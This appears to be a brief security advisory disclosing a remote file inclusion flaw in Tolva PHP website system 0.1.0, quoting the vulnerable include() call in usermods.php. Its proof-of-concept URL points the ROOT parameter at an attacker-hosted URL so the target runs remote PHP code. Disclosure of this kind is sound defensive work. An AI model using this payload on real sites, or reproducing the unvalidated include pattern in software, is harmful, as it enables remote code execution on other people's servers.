Script: Tolva PHP website system Version: 0.1.0 Language: PHP Official Website: Problem: Remote File Include Discovered by: beford Description: ============ A complete collection of php scripts that work tightly together to create a highly customizable, dynamic and module oriented website. Problem: ======== A remote user can supply a specially crafted URL to cause the target system to include and execute arbitrary PHP code from a remote location. A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service. The problem is in the file "/twebs-0.1.0/src/modules/misc/usermods.php". It seems like there are other files affected by the same vuln. <?PHP $mod_id=$uid; include("$ROOT/modules/main.php"); ?> The variable $ROOT isn't initialized and the usermods.php file doesn't validate user-supplied data in this parameter. Proof of Concept URL: ================== http://[target]/twebs/modules/misc/usermods.php?ROOT=http://[attacker_url] Solution: ======== No solution at this time.
